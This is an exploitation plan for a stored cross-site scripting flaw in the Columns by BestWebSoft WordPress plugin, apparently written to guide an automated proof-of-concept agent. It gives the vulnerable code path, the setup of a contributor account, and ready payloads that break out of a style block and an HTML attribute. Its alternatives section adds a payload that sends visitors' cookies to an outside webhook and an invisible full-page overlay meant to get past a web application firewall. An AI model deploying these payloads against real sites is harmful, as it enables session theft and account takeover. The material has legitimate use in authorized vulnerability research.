Exploitation Research Plan: CVE-2026-3618 (Columns by BestWebSoft Stored XSS)

1. Vulnerability Summary

The Columns by BestWebSoft plugin (<= 1.0.3) is vulnerable to Stored Cross-Site Scripting (XSS) via the id attribute of the [print_clmns] shortcode. This occurs because the plugin extracts the id parameter from the shortcode attributes and reflects it directly into the page's inline CSS and HTML div attributes without sanitization or escaping. Although the value is cast to an integer for the database query (via %d), the original raw string is preserved for output.

2. Attack Vector Analysis

• Shortcode: [print_clmns]
• Vulnerable Attribute: id
• Authentication Level: Contributor or higher (any user role capable of creating or editing posts/pages).
• Precondition: At least one "Column" must be created in the plugin's administrative interface. The code path containing the vulnerability is only reached if the SQL query for the provided ID returns a valid column result.
• Endpoint: Post editor (Gutenberg or Classic) or any area where shortcodes are processed.

3. Code Flow (Inferred from Patch Description)

1. Entry Point: A user with Contributor+ privileges creates a post containing: [print_clmns id="PAYLOAD"].
2. Shortcode Handling: The plugin's shortcode handler (likely registered via add_shortcode( 'print_clmns', ... )) is triggered.
3. Attribute Parsing (Line 596): The handler calls shortcode_atts() to extract the id. The variable $id now holds the raw payload string.
4. Database Lookup: The plugin performs a query similar to:
   $wpdb->get_row( $wpdb->prepare( "SELECT ... FROM ... WHERE id = %d", $id ) );
   • Due to PHP/WordPress integer casting, if $id is 1<script>..., it is treated as 1.
   • If a column with ID 1 exists, the query succeeds.
5. Vulnerable Sink (Lines 672-729): The raw string $id is concatenated into an inline <style> block:
   • echo "<style> #bws_column_{$id} { ... } </style>";
6. Vulnerable Sink (Line 731): The raw string $id is concatenated into a div ID attribute:
   • echo "<div id='bws_column_{$id}'>";

4. Nonce Acquisition Strategy

This vulnerability is exploited by saving a post containing a shortcode. It does not require an AJAX-specific nonce for the payload itself, but rather the standard WordPress nonces used for post creation/editing.

1. Contributor Login: Authenticate as a Contributor.
2. Identify Action: Use the REST API (/wp-json/wp/v2/posts) or wp-admin/post-new.php to create a post.
3. Post Saving: If using the browser, the _wpnonce is automatically handled by the UI. If using http_request to simulate the save, the nonce must be extracted from the post.php or post-new.php source.

Note: Since the PoC agent can use wp-cli to create posts, it may bypass the need for manual nonce handling for the "Stored" part of the XSS.

5. Exploitation Strategy

1. Create Target Data: As an Admin, create at least one "Column" so there is a valid ID in the database.
2. Identify ID: Determine the integer ID of the created column (e.g., 1).
3. Payload Construction:
   • CSS Breakout: 1</style><script>alert(document.domain)</script>
   • HTML Attribute Breakout: 1' onmouseover='alert(1)'
   • Universal Payload: 1"><script>alert(document.domain)</script>
4. Injection:
   • As a Contributor, create a new post.
   • Set the content to: [print_clmns id='1"><script>alert(document.domain)</script>'].
5. Trigger: View the post as a Guest or Admin.
6. Execution: The browser will render:
   • <style> ... #bws_column_1"><script>alert(document.domain)</script> { ... } </style>
   • <div id="bws_column_1"><script>alert(document.domain)</script>">

6. Test Data Setup

1. Create Column:
   • Navigate to the "Columns" menu in WordPress.
   • Create a new column set.
   • Find the ID. (Typically visible in the URL as ?page=columns-bws&action=edit&id=X or via wp db query "SELECT id FROM wp_bws_columns LIMIT 1;").
2. Create Contributor:
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password123

7. Expected Results

• When viewing the post, the HTML source should contain the literal string provided in the id attribute.
• The browser should execute the alert(document.domain) script.
• The div element will have a malformed id attribute, and the <script> tag will be parsed as a sibling or a breakout element.

8. Verification Steps

1. Verify Database Entry:
   • wp post list --post_type=post --format=csv (Check for the post containing the shortcode).
2. Verify Frontend Reflection:
   • Use http_request to GET the post permalink.
   • Search the response body for: <script>alert(document.domain)</script>.
3. Verify Context:
   • Confirm the payload appears inside or immediately after a tag with id="bws_column_... or within a <style> block.

9. Alternative Approaches

• Blind XSS: Use a payload that exfiltrates document.cookie to an external listener (e.g., 1"><script>fetch('https://webhook.site/...?c='+document.cookie)</script>).
• Attribute-Only Injection: If <script> tags are blocked by a WAF, use 1' onmouseenter='alert(1)' style='display:block;width:1000px;height:1000px;position:fixed;top:0;left:0;opacity:0;'.
• CSS Injection: If only the <style> block is reachable, use 1 { background: url("javascript:alert(1)"); } (though this is restricted in modern browsers). Breaking out with </style> is more reliable.